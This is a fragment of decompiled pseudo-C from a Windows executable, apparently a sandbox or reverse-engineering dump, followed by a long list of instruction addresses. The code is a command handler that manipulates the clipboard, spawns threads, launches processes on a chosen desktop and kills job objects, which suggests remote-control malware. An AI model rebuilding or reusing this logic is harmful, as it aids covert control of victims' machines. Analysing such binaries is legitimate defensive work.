									goto L239;
								case 0xa:
									__ecx = __edi;
									__ebp = E00FC11D0(__edi);
									_push(__edi);
									__eflags = __ebp;
									if(__ebp == 0) {
										_push(_a8);
										__eax = E00FC1870();
										__esp =  &(__esp[2]);
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										return __eax;
									} else {
										_push(__ebp);
										_push(_a8);
										__eax = E00FC17E0();
										__esp =  &(__esp[3]);
										__eflags = __eax;
										if(__eax == 0) {
											L146:
											__eflags = __edi;
											if(__edi == 0) {
												goto L217;
											} else {
												goto L147;
											}
										} else {
											__eflags = __edi;
											if(__edi == 0) {
												__ebx = 1;
												__esi = 0;
												__eflags = 0;
												goto L142;
											} else {
												_v1980 = 0;
												__eax = OpenClipboard(0);
												__eflags = __eax;
												if(__eax == 0) {
													__ebx = 2;
													__esi = GetLastError();
												} else {
													__eax = EmptyClipboard();
													__esi = GlobalAlloc(0x2000, __edi);
													__eflags = __esi;
													if(__esi == 0) {
														__ebx = 3;
														__esi = GetLastError();
														__eax = CloseClipboard();
													} else {
														__eax = GlobalLock(__esi);
														__eflags = __eax;
														if(__eax == 0) {
															__ebx = 4;
															__esi = GetLastError();
															__eax = CloseClipboard();
														} else {
															__eax = GlobalUnlock(__esi);
															__eax = SetClipboardData(0xd, __esi);
															__ecx = 0;
															__eflags = __eax;
															__ecx = 0 | __eflags != 0x00000000;
															_v1980 = __eflags != 0;
															__eflags = __eax;
															if(__eax != 0) {
																__esi = _v1880;
																__ebx = _v1876;
																__eax = CloseClipboard();
															} else {
																_t93 = __eax + 5; // 0x5
																__ebx = _t93;
																__esi = GetLastError();
																__eax = CloseClipboard();
															}
														}
													}
												}
												__eflags = _v1980;
												if(_v1980 == 0) {
													L142:
													_push(__esi);
													 &_v1652 = E00FC1200( &_v1652, "Set  clipboard text failed. \r\n Error # %d - %08lx", __ebx);
													__eax =  &_v1652;
													__eax = lstrlenA( &_v1652);
													__eflags =  *0xfd672c;
													__esi = __eax;
													if( *0xfd672c != 0) {
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__ebx = E00FC11D0(__esi);
															__eflags = __ebx;
															if(__ebx != 0) {
																 &_v1652 = E00FC1000(__ebx,  &_v1652, __esi);
																EnterCriticalSection(0xfd6714);
																 *0xfd65fc = 5;
																 *0xfd6601 = __esi;
																 *0xfd65fd = __ebx;
																LeaveCriticalSection(0xfd6714);
															}
														}
													}
													goto L146;
												} else {
													__edi = __edi >> 1;
													(__edi >> 1) - 1 =  &(_v1780.dwXSize);
													E00FC1200( &(_v1780.dwXSize),  *0xfd6ba8, (__edi >> 1) - 1) =  &(_v1780.dwXSize);
													__eax = lstrlenA( &(_v1780.dwXSize));
													__eflags =  *0xfd672c;
													__esi = __eax;
													if( *0xfd672c != 0) {
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__ebx = E00FC11D0(__esi);
															__eflags = __ebx;
															if(__ebx != 0) {
																 &(_v1780.dwXSize) = E00FC1000(__ebx,  &(_v1780.dwXSize), __esi);
																EnterCriticalSection(0xfd6714);
																 *0xfd65fc = 5;
																 *0xfd6601 = __esi;
																 *0xfd65fd = __ebx;
																LeaveCriticalSection(0xfd6714);
															}
														}
													}
													L147:
													__eflags = __edi - 0x1000;
													if(__edi <= 0x1000) {
														__eax = LocalFree(__ebp);
														_pop(__edi);
														_pop(__esi);
														_pop(__ebp);
														_pop(__ebx);
														__esp =  &(__esp[0x1f1]);
														return __eax;
													} else {
														__eax = VirtualFree(__ebp, 0, 0x8000);
														_pop(__edi);
														_pop(__esi);
														_pop(__ebp);
														_pop(__ebx);
														__esp =  &(__esp[0x1f1]);
														return __eax;
													}
												}
											}
										}
									}
									goto L239;
								case 0xb:
									__eax =  *0xfd65ac;
									__edi = 0;
									_v1984 =  *0xfd65ac;
									__eax = OpenClipboard(0);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = IsClipboardFormatAvailable(0xd);
										__eflags = __eax;
										if(__eax == 0) {
											L159:
											__esi = _v1984;
										} else {
											__ebx = GetClipboardData(0xd);
											__eflags = __ebx;
											if(__ebx == 0) {
												goto L159;
											} else {
												__ebp = GlobalLock(__ebx);
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L159;
												} else {
													__eax = lstrlenW(__ebp);
													__esi = __eax;
													__esi = __eax + __eax;
													__eflags = __esi;
													if(__esi != 0) {
														_push(__esi);
														_push(0);
														__edi = _v1984();
														__eflags = __edi;
														if(__edi != 0) {
															__eax = E00FC1000(__edi, __ebp, __esi);
														}
													}
													__eax = GlobalUnlock(__ebx);
												}
											}
										}
										__eax = CloseClipboard();
										__eflags = __edi;
										if(__edi == 0) {
											goto L217;
										} else {
											__eax = E00FC7A00(0xfd65fc, 2, __edi, __esi);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 0xc:
									_v1960 = 0;
									__eax = OpenClipboard(0);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = EmptyClipboard();
										__esi = GlobalAlloc(0x2000, 1);
										__eflags = __esi;
										if(__esi != 0) {
											__eax = GlobalLock(__esi);
											__eflags = __eax;
											if(__eax != 0) {
												__ecx =  &_v1960;
												GlobalUnlock(__esi) = SetClipboardData(0xd, __esi);
											}
										}
										__eax = CloseClipboard();
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										return __eax;
									}
									goto L239;
								case 0xd:
									__esi = LocalAlloc(0, __edi);
									__eflags = __esi;
									if(__esi == 0) {
										goto L217;
									} else {
										__eax = E00FC17E0(_a8, __esi, __edi);
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax =  &_v1984;
											_push( &_v1984);
											_push(0);
											_push(__esi);
											_push(E00FC93A0);
											L111:
											__eax = CreateThread(0, 0, ??, ??, ??, ??);
											__eflags = __eax;
											if(__eax == 0) {
												goto L217;
											} else {
												__eax = CloseHandle(__eax);
												_pop(__edi);
												_pop(__esi);
												_pop(__ebp);
												_pop(__ebx);
												__esp =  &(__esp[0x1f1]);
												return __eax;
											}
										}
									}
									goto L239;
								case 0xe:
									__ecx = 0xfd65fc;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									__esp = __esp - 0x714;
									_push(__ebx);
									_push(__ebp);
									_push(__esi);
									_push(__edi);
									__esi = 0xfd65fc;
									__eax = GetCommandLineW();
									__eflags = __eax;
									if(__eax != 0) {
										__edi = lstrcpyW;
										 &_v1548 = lstrcpyW( &_v1548,  &_v1548);
										 &_v1808 = wsprintfA( &_v1808,  *0xfd6a1c,  *0xfd63d8, 0);
										__esp =  &(__esp[4]);
										 &_v1800 = SetEnvironmentVariableA( &_v1800, "1");
										__ebx =  *0xfd6748; // 0xfd783e
										__eax = 0;
										_v1020 = __ax;
										 &_v1540 =  &_v1020;
										lstrcpyW( &_v1020,  &_v1540) =  &_v1780;
										E00FC10D0( &_v1780, 0, 0x44) = 0;
										_v1780.cb = 0x44;
										_v1780.wShowWindow = __ax;
										_v1780.dwFlags = 1;
										__eflags = __ebx;
										if(__ebx != 0) {
											 &_v1644 = lstrcpyW( &_v1644, __ebx);
											__eax =  &_v1644;
											_v1780.lpDesktop =  &_v1644;
										}
										 &_v1800 =  &_v1780;
										__eax =  &_v1020;
										__eax = CreateProcessW(0,  &_v1020, 0, 0, 0, 0, 0, 0,  &_v1780,  &_v1800);
										__eflags = __eax;
										if(__eax == 0) {
											__ebx =  *0xfd6908; // 0xfd866e
											__eflags = __ebx;
											if(__ebx != 0) {
												__eax = lstrlenW(__ebx);
												__edi = __eax;
												__edi = __eax + __eax;
												__eflags =  *0xfd672c;
												if( *0xfd672c != 0) {
													__eflags = __esi;
													if(__esi != 0) {
														__eflags = __edi;
														if(__edi != 0) {
															__ecx = __edi;
															__eax = E00FC11D0(__edi);
															__ebp = __eax;
															__eflags = __ebp;
															if(__ebp != 0) {
																__eax = E00FC1000(__ebp, __ebx, __edi);
																EnterCriticalSection(0xfd6714);
																 *(__esi + 1) = __ebp;
																goto L237;
															}
														}
													}
												}
											}
										} else {
											__eax = _v1800.hThread;
											__ebx = _v1800.dwProcessId;
											__edi = CloseHandle;
											__eflags = __eax;
											if(__eax != 0) {
												__eax = CloseHandle(__eax);
											}
											__eax = _v1800.hProcess;
											__eflags = __eax;
											if(__eax != 0) {
												__eax = CloseHandle(__eax);
											}
											 &_v1704 = E00FC1220( &_v1704, 0xfcf2d0, __ebx);
											 &_v1704 = lstrcatW( &_v1704,  *0xfd6910);
											__eax =  &_v1704;
											__eax = lstrlenW( &_v1704);
											__edi = __eax;
											__edi = __eax + __eax;
											__eflags =  *0xfd672c;
											if( *0xfd672c != 0) {
												__eflags = __esi;
												if(__esi != 0) {
													__eflags = __edi;
													if(__edi != 0) {
														__ecx = __edi;
														__eax = E00FC11D0(__edi);
														__ebx = __eax;
														__eflags = __ebx;
														if(__ebx != 0) {
															__eax =  &_v1704;
															__eax = E00FC1000(__ebx,  &_v1704, __edi);
															EnterCriticalSection(0xfd6714);
															 *(__esi + 1) = __ebx;
															L237:
															 *__esi = 6;
															 *(__esi + 5) = __edi;
															LeaveCriticalSection(0xfd6714);
														}
													}
												}
											}
										}
									}
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1c5]);
									return __eax;
									goto L239;
								case 0xf:
									__eax = PostMessageA( *0xfd6398, 0x112, 0xf130, 1);
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x10:
									 *0xfd6574 =  *0xfd6574 - 1;
									__eflags =  *0xfd6574;
									__eax = E00FC4710();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L75;
								case 0x11:
									 *0xfd6574 =  *0xfd6574 + 1;
									__eflags =  *0xfd6574;
									__eax = E00FC4710();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L75:
									__esp = __esp - 8;
									__ecx =  *0xfd6fea & 0x000000ff;
									__edx =  *0xfd6574; // 0x0
									__ecx = ( *0xfd6fea & 0x000000ff) << 0x10;
									__eax = __dx & 0x0000ffff;
									__ecx = ( *0xfd6fea & 0x000000ff) << 0x00000010 | __dx & 0x0000ffff;
									_v8 = ( *0xfd6fea & 0x000000ff) << 0x00000010 | __dx & 0x0000ffff;
									__eflags = __edx;
									if(__edx < 0) {
										L78:
										__ecx =  *0xfd7488 & 0x0000ffff;
										__eax =  *0xfd748a & 0x0000ffff;
									} else {
										__eflags = __edx - 0xa;
										if(__edx >= 0xa) {
											goto L78;
										} else {
											__ecx =  *(0xfd76a0 + __edx * 4) & 0x0000ffff;
											__eax =  *(0xfd76a2 + __edx * 4) & 0x0000ffff;
										}
									}
									__ecx = __ecx << 0x10;
									__ecx = __ecx | __eax;
									__eflags =  *0xfd672c;
									_v4 = __ecx;
									if( *0xfd672c != 0) {
										_push(__esi);
										__eax = LocalAlloc(0, 8);
										__esi = __eax;
										__eflags = __esi;
										if(__esi != 0) {
											__eax =  &_v8;
											 *__esi = 0;
											__eax = E00FC1000(__esi,  &_v8, 8);
											EnterCriticalSection(0xfd6714);
											 *0xfd65fc = 0x11;
											 *0xfd6601 = 8;
											 *0xfd65fd = __esi;
											LeaveCriticalSection(0xfd6714);
										}
										_pop(__esi);
									}
									__esp =  &(__esp[2]);
									return __eax;
									goto L239;
								case 0x12:
									_push( *0xfd6a68);
									__eax = __eax ^ 0x00fd6a68;
									__ebx = LoadLibraryA;
									__esi = 0;
									_v1984 = 0;
									_v1980 = 0;
									__eax = LoadLibraryA(??);
									__ebp = GetProcAddress;
									__eflags = __eax - 0x20;
									if(__eax > 0x20) {
										__edx = __eax;
										__eflags = __edx;
										if(__edx != 0) {
											__ecx = __edi + 4;
											__eflags = __ecx - 3;
											if(__ecx <= 3) {
												switch( *((intOrPtr*)(__ecx * 4 +  &M00FC5550))) {
													case 0:
														__eax = 2;
														goto L181;
													case 1:
														__eax = 1;
														goto L181;
													case 2:
														__eax = 0;
														L181:
														_push(__eax);
														_v1988 =  *__edx();
														goto L182;
												}
											}
										}
									}
									L182:
									__ebx = LoadLibraryA( *0xfd6a78);
									__eflags = __ebx - 0x20;
									if(__ebx > 0x20) {
										__eax = GetProcAddress(__ebx,  *0xfd6a94);
										__eflags = __eax;
										if(__eax != 0) {
											_push(__edi);
											_v1984 = __eax;
										}
										__eflags = __edi - 0xfffffffe;
										if(__edi == 0xfffffffe) {
											__eax = GetProcAddress(__ebx,  *0xfd6a90);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags = __eax;
												__ecx = 1;
												__esi =  !=  ? 1 : __esi;
											}
										}
									}
									__eflags = _a4;
									if(_a4 == 0) {
										_push(__esi);
										_push(_v1980);
										__eax =  &_v1872;
										__esi = E00FC1200( &_v1872, "OK %08lx %08lx %d", _v1984);
										__eflags = __esi;
										if(__esi == 0) {
											__eax =  &_v1872;
											__esi = lstrlenA( &_v1872);
										}
										__eflags =  *0xfd672c;
										if( *0xfd672c != 0) {
											__eflags = __esi;
											if(__esi != 0) {
												__ecx = __esi;
												__edi = E00FC11D0(__esi);
												__eflags = __edi;
												if(__edi != 0) {
													 &_v1872 = E00FC1000(__edi,  &_v1872, __esi);
													EnterCriticalSection(0xfd6714);
													 *0xfd65fc = 5;
													 *0xfd6601 = __esi;
													 *0xfd65fd = __edi;
													L216:
													LeaveCriticalSection(0xfd6714);
												}
											}
										}
									}
									goto L217;
								case 0x13:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 0x14:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 0x15:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 0x16:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 0x17:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 0x18:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 0x19:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L69:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, 0xfc29c0, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1a:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L66:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, 0xfc2950, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1b:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L72:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, E00FC3040, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1c:
									_push(0);
									_push( *0xfd6380);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1d:
									_push(0);
									_push( *0xfd6374);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1e:
									_push(0);
									_push( *0xfd637c);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1f:
									_push(0);
									_push( *0xfd6378);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x20:
									goto L217;
							}
						}
					}
				}
				L239:
			}

0x00fc4820
0x00fc482a
0x00fc4832
0x00fc5278
0x00fc5278
0x00fc527e
0x00fc52f8
0x00fc52fe
0x00fc5309
0x00fc530d
0x00fc5311
0x00fc5315
0x00fc531d
0x00fc5325
0x00fc532d
0x00fc5335
0x00fc533d
0x00fc5345
0x00fc534d
0x00fc5355
0x00fc535d
0x00fc5365
0x00fc536d
0x00fc5375
0x00fc537d
0x00fc5385
0x00fc538d
0x00fc5395
0x00fc539d
0x00fc53a5
0x00fc53ad
0x00fc53b5
0x00fc53cb
0x00fc53d0
0x00fc53db
0x00fc53e1
0x00fc53e8
0x00fc53ea
0x00fc53ec
0x00fc53ee
0x00fc53f2
0x00fc53f7
0x00fc53f9
0x00fc53fb
0x00fc5407
0x00fc540c
0x00fc5414
0x00fc541a
0x00fc5421
0x00fc5427
0x00000000
0x00fc5427
0x00fc53fb
0x00fc53ee
0x00000000
0x00fc5280
0x00fc5280
0x00fc5283
0x00000000
0x00fc5289
0x00fc5289
0x00fc529b
0x00fc52af
0x00fc52b8
0x00fc52be
0x00fc52c0
0x00fc52d9
0x00fc52d9
0x00fc52dc
0x00fc52eb
0x00fc52c2
0x00fc52c3
0x00fc52c9
0x00fc52d8
0x00fc52d8
0x00fc52c0
0x00fc5283
0x00fc4838
0x00fc4838
0x00fc5154
0x00fc516d
0x00fc5175
0x00fc5177
0x00fc5179
0x00fc517f
0x00fc5181
0x00fc5184
0x00fc518f
0x00fc5195
0x00fc519b
0x00fc519d
0x00fc51a8
0x00fc51b0
0x00fc51b0
0x00fc51b4
0x00fc51bd
0x00fc51c3
0x00fc51c5
0x00fc51d0
0x00fc51d8
0x00fc51d8
0x00fc51da
0x00fc51e0
0x00fc51e6
0x00fc51e8
0x00fc51ea
0x00fc51ee
0x00fc51f5
0x00fc51fa
0x00fc51ff
0x00fc5202
0x00fc5204
0x00fc520f
0x00fc5217
0x00fc5217
0x00fc5204
0x00fc521a
0x00fc5220
0x00fc5222
0x00fc5224
0x00fc522b
0x00fc5231
0x00fc5233
0x00fc5239
0x00fc5240
0x00fc5242
0x00fc5244
0x00fc524d
0x00fc525a
0x00fc5260
0x00fc5267
0x00fc526d
0x00000000
0x00fc526d
0x00fc5244
0x00fc5233
0x00fc522b
0x00000000
0x00fc483e
0x00fc483e
0x00fc4844
0x00fc484a
0x00fc5438
0x00fc5442
0x00fc4850
0x00fc4850
0x00fc4857
0x00000000
0x00fc485e
0x00fc4863
0x00fc4865
0x00000000
0x00fc486b
0x00fc486b
0x00fc4870
0x00fc4871
0x00fc4872
0x00fc4873
0x00fc4874
0x00fc1a93
0x00fc1a94
0x00fc1a95
0x00fc1a9c
0x00fc1a9e
0x00fc1a9f
0x00fc1aa1
0x00fc1aad
0x00fc1ab3
0x00fc1aba
0x00000000
0x00000000
0x00fc1ac5
0x00fc1ac7
0x00fc1acb
0x00000000
0x00fc1acd
0x00fc1acd
0x00fc1acd
0x00000000
0x00fc1acb
0x00fc1ad8
0x00fc1ada
0x00fc1ae0
0x00fc1aeb
0x00fc1aed
0x00fc1af3
0x00fc1b0d
0x00fc1b0d
0x00fc1b0d
0x00fc1b0d
0x00fc1af7
0x00fc1afe
0x00fc1b00
0x00fc1b04
0x00fc1b06
0x00000000
0x00fc1b06
0x00fc1b04
0x00fc1b3f
0x00fc1b3f
0x00fc1b49
0x00fc1b49
0x00fc1b50
0x00fc1b58
0x00fc1b5e
0x00fc1b63
0x00fc1b65
0x00fc1b80
0x00fc1b80
0x00fc1b80
0x00fc1b67
0x00fc1b69
0x00fc1b70
0x00fc1b72
0x00fc1b73
0x00fc1b76
0x00000000
0x00000000
0x00fc1b78
0x00fc1b76
0x00000000
0x00fc1b69
0x00fc1b86
0x00fc1b86
0x00fc1b90
0x00fc1b98
0x00fc1b9e
0x00fc1ba0
0x00fc1bdc
0x00fc1bdc
0x00000000
0x00fc1ba2
0x00fc1bad
0x00fc1baf
0x00fc1bb1
0x00000000
0x00fc1bb3
0x00fc1bbe
0x00fc1bc0
0x00fc1bc2
0x00000000
0x00fc1bc4
0x00fc1bcf
0x00fc1bd1
0x00fc1bd6
0x00fc1bd8
0x00fc1be6
0x00fc1be6
0x00fc1be8
0x00000000
0x00000000
0x00fc1be8
0x00fc1bd8
0x00fc1bc2
0x00fc1bb1
0x00000000
0x00fc1bea
0x00fc1bef
0x00fc1bf1
0x00fc1bf2
0x00fc1bf2
0x00fc1bf7
0x00fc1bfc
0x00fc1bfe
0x00fc1c0b
0x00fc1c0b
0x00fc1c11
0x00fc1c24
0x00fc1c3d
0x00fc1c43
0x00fc1c45
0x00fc1c4b
0x00fc1c5f
0x00fc1c75
0x00fc1c7b
0x00fc1c7b
0x00fc1c45
0x00fc1c94
0x00fc1c9a
0x00fc1c9c
0x00fc1caf
0x00fc1cb6
0x00fc1cb8
0x00fc1cba
0x00fc1cc0
0x00fc1ccb
0x00fc1ce6
0x00fc1cec
0x00fc1cee
0x00fc1cfd
0x00fc1d03
0x00fc1d03
0x00fc1d0b
0x00fc1d12
0x00fc1d14
0x00fc1d14
0x00fc1cc0
0x00fc1d1c
0x00fc1d1c
0x00fc1d21
0x00fc1d29
0x00fc1d29
0x00fc1d30
0x00000000
0x00fc1d30
0x00fc1b10
0x00fc1b10
0x00fc1b1f
0x00fc1b21
0x00fc1b26
0x00fc1b28
0x00000000
0x00000000
0x00fc1b2a
0x00fc1b2c
0x00fc1b33
0x00fc1b35
0x00fc1b39
0x00fc1b3a
0x00fc1b3d
0x00000000
0x00000000
0x00fc1b3d
0x00000000
0x00fc1b2c
0x00000000
0x00fc1b10
0x00000000
0x00000000
0x00fc488d
0x00fc4893
0x00fc4897
0x00fc48a0
0x00fc48a4
0x00fc48b5
0x00fc48b8
0x00fc48c4
0x00fc48cb
0x00fc48d4
0x00fc48da
0x00fc48e0
0x00fc48e6
0x00fc48ef
0x00fc48f8
0x00fc4901
0x00fc4906
0x00fc490c
0x00fc490e
0x00000000
0x00fc4914
0x00fc4914
0x00fc4918
0x00fc491a
0x00fc491d
0x00fc491d
0x00fc4923
0x00fc4927
0x00fc4929
0x00000000
0x00fc492f
0x00fc4930
0x00fc4936
0x00fc4937
0x00fc4938
0x00fc4939
0x00fc493a
0x00fc4940
0x00fc4940
0x00fc4929
0x00000000
0x00000000
0x00fc494e
0x00fc4954
0x00fc4958
0x00fc4961
0x00fc4965
0x00fc4976
0x00fc4979
0x00fc4985
0x00fc498c
0x00fc4995
0x00fc499b
0x00fc49a1
0x00fc49a7
0x00fc49b0
0x00fc49b9
0x00fc49c2
0x00fc49c7
0x00fc49cd
0x00fc49cf
0x00000000
0x00fc49d5
0x00fc49d5
0x00fc49d9
0x00fc49db
0x00fc49de
0x00fc49de
0x00fc49e4
0x00fc49e8
0x00fc49ea
0x00000000
0x00fc49f0
0x00fc49f1
0x00fc49f7
0x00fc49f8
0x00fc49f9
0x00fc49fa
0x00fc49fb
0x00fc4a01
0x00fc4a01
0x00fc49ea
0x00000000
0x00000000
0x00fc4af1
0x00fc4af5
0x00fc4af6
0x00fc4af8
0x00fc4afa
0x00000000
0x00000000
0x00fc4b3c
0x00fc4b3e
0x00fc4b3f
0x00fc4b40
0x00fc4b41
0x00fc4b42
0x00000000
0x00000000
0x00fc4a25
0x00fc4a27
0x00fc4a28
0x00fc4a29
0x00fc4a2a
0x00fc4a2b
0x00000000
0x00000000
0x00fc4a8b
0x00fc4a8d
0x00fc4a8e
0x00fc4a8f
0x00fc4a90
0x00fc4a91
0x00000000
0x00000000
0x00fc4fe1
0x00fc4fe6
0x00fc4fe7
0x00fc4fe8
0x00fc4fe9
0x00fc4fea
0x00fc1e90
0x00fc1e96
0x00fc1e97
0x00fc1e98
0x00fc1e99
0x00fc1e9d
0x00fc1eab
0x00fc1ead
0x00fc1ebc
0x00fc1ec9
0x00fc1ed1
0x00fc1ed7
0x00fc1ed9
0x00fc1f2d
0x00fc1edb
0x00fc1ee0
0x00fc1ee5
0x00fc1ef5
0x00fc1efb
0x00fc1efd
0x00fc1f0b
0x00fc1f0d
0x00fc1f26
0x00fc1f28
0x00fc1f2a
0x00fc1eff
0x00fc1eff
0x00fc1f04
0x00fc1f07
0x00fc1f09
0x00000000
0x00000000
0x00fc1f09
0x00fc1efd
0x00fc1f36
0x00fc1f44
0x00fc1f46
0x00fc1f48
0x00fc209e
0x00fc209e
0x00fc209f
0x00fc20a0
0x00fc20a0
0x00fc20a2
0x00fc20a3
0x00fc20a9
0x00fc1f4e
0x00fc1f5c
0x00fc1f62
0x00fc1f62
0x00fc1f65
0x00000000
0x00fc1f6b
0x00fc1f6b
0x00fc1f71
0x00fc1f73
0x00fc1f83
0x00fc1f8f
0x00fc1f96
0x00fc1f9e
0x00fc1fb3
0x00fc1fb5
0x00fc1fbc
0x00fc1fc5
0x00fc1fd6
0x00fc1fe6
0x00fc1fe8
0x00fc1fea
0x00fc1ff0
0x00fc1ff4
0x00fc1ff6
0x00fc1ff9
0x00fc1ff9
0x00fc1fff
0x00fc2003
0x00fc2005
0x00fc2009
0x00fc200c
0x00fc200e
0x00fc2053
0x00fc2058
0x00fc2010
0x00fc2010
0x00fc2015
0x00fc2017
0x00fc202a
0x00fc202a
0x00fc202b
0x00fc202c
0x00fc2019
0x00fc2019
0x00fc201a
0x00fc201b
0x00fc2021
0x00fc2026
0x00fc2028
0x00000000
0x00000000
0x00fc2028
0x00fc2033
0x00fc2039
0x00fc203e
0x00fc204a
0x00fc205d
0x00fc205f
0x00fc2083
0x00fc2083
0x00fc2087
0x00fc2089
0x00fc208c
0x00fc208c
0x00fc2061
0x00fc2061
0x00fc2065
0x00fc2067
0x00fc206d
0x00fc207d
0x00000000
0x00fc207d
0x00fc2067
0x00fc205f
0x00fc2092
0x00fc2094
0x00fc2095
0x00fc2096
0x00fc2097
0x00fc209d
0x00fc209d
0x00fc1f65
0x00000000
0x00000000
0x00fc4fa2
0x00fc4fbc
0x00fc4fc9
0x00fc4fd1
0x00fc4fdb
0x00000000
0x00fc4ff5
0x00fc5003
0x00fc500b
0x00fc500c
0x00fc500d
0x00fc500e
0x00fc500f
0x00fc5015
0x00000000
0x00000000
0x00fc4c0f
0x00fc4c16
0x00fc4c18
0x00fc4c19
0x00fc4c1b
0x00fc4e5e
0x00fc4e65
0x00fc4e6a
0x00fc4e6d
0x00fc4e6e
0x00fc4e6f
0x00fc4e70
0x00fc4e71
0x00fc4e77
0x00fc4c21
0x00fc4c21
0x00fc4c22
0x00fc4c29
0x00fc4c2e
0x00fc4c31
0x00fc4c33
0x00fc4e23
0x00fc4e23
0x00fc4e25
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc4c39
0x00fc4c39
0x00fc4c3b
0x00fc4da0
0x00fc4da5
0x00fc4da5
0x00000000
0x00fc4c41
0x00fc4c43
0x00fc4c4b
0x00fc4c51
0x00fc4c53
0x00fc4cf6
0x00fc4d01
0x00fc4c59
0x00fc4c59
0x00fc4c6b
0x00fc4c6d
0x00fc4c6f
0x00fc4ce1
0x00fc4cec
0x00fc4cee
0x00fc4c71
0x00fc4c72
0x00fc4c78
0x00fc4c7a
0x00fc4ccc
0x00fc4cd7
0x00fc4cd9
0x00fc4c7c
0x00fc4c88
0x00fc4c91
0x00fc4c97
0x00fc4c99
0x00fc4c9b
0x00fc4c9e
0x00fc4ca2
0x00fc4ca4
0x00fc4cb9
0x00fc4cbd
0x00fc4cc4
0x00fc4ca6
0x00fc4ca6
0x00fc4ca6
0x00fc4caf
0x00fc4cb1
0x00fc4cb1
0x00fc4ca4
0x00fc4c7a
0x00fc4c6f
0x00fc4d03
0x00fc4d08
0x00fc4da7
0x00fc4da7
0x00fc4db6
0x00fc4dbe
0x00fc4dc6
0x00fc4dcc
0x00fc4dd3
0x00fc4dd5
0x00fc4dd7
0x00fc4dd9
0x00fc4ddb
0x00fc4de2
0x00fc4de4
0x00fc4de6
0x00fc4df2
0x00fc4dff
0x00fc4e0a
0x00fc4e11
0x00fc4e17
0x00fc4e1d
0x00fc4e1d
0x00fc4de6
0x00fc4dd9
0x00000000
0x00fc4d0e
0x00fc4d10
0x00fc4d1a
0x00fc4d2a
0x00fc4d32
0x00fc4d38
0x00fc4d3f
0x00fc4d41
0x00fc4d47
0x00fc4d49
0x00fc4d4f
0x00fc4d56
0x00fc4d58
0x00fc4d5a
0x00fc4d6a
0x00fc4d77
0x00fc4d82
0x00fc4d89
0x00fc4d8f
0x00fc4d95
0x00fc4d95
0x00fc4d5a
0x00fc4d49
0x00fc4e2b
